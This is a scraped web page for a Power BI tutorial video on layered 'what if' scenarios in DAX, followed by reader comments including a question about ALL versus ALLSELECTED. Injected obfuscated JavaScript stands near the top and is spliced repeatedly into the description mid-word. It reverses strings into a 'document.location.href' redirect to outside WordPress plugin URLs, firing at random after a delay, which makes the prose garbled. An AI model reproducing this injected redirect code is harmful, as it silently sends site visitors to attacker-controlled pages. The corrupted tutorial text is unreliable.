Complex ‘What If’ Analysis Example In Power BI Using DAX
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toplay=1&autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toplay=1″ frameborder=”0″ allowfullscreen>
Review and learn from this complex ‘what if’ analysis scenario. This tutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torial covers a range of DAX and Power BI techniques. It show you how you can layer scenarios on toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top of each other toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to see the outcome of numerous ‘what if’ that could occur in the real world.
***** Learning Power BI? *****
All Enterprise DNA TV Resources –
FREE COURSE – Ultimate Beginners Guide To Power BI –
FREE – Power BI Resources –
Learn more about Enterprise DNA –
Youtube Channel
This is is becoming more interesting…Great Video… You are Awesomee….
Why don't you create video's on complex querying in DAX with DAX Studio…
This is great stuff
Thank you very much!
Thank you very much for this video.
One question, lets say I have the products as a report filter, and I select only half of them, how does the formula of All Sales adapt to this situation ? I did this example on my dataset, and if I filter on the report certain products, the All Sales still shows the total amount of sales and does not adapt to the report filter.
The formula I used is:
ALL Sales = CALCULATE([Total Sales];ALL(DimProduct[EnglishProductName]))
if instead I use ALLSELECTED, then I will have the total sales of the selected products, which does not work as well.
Cheers!!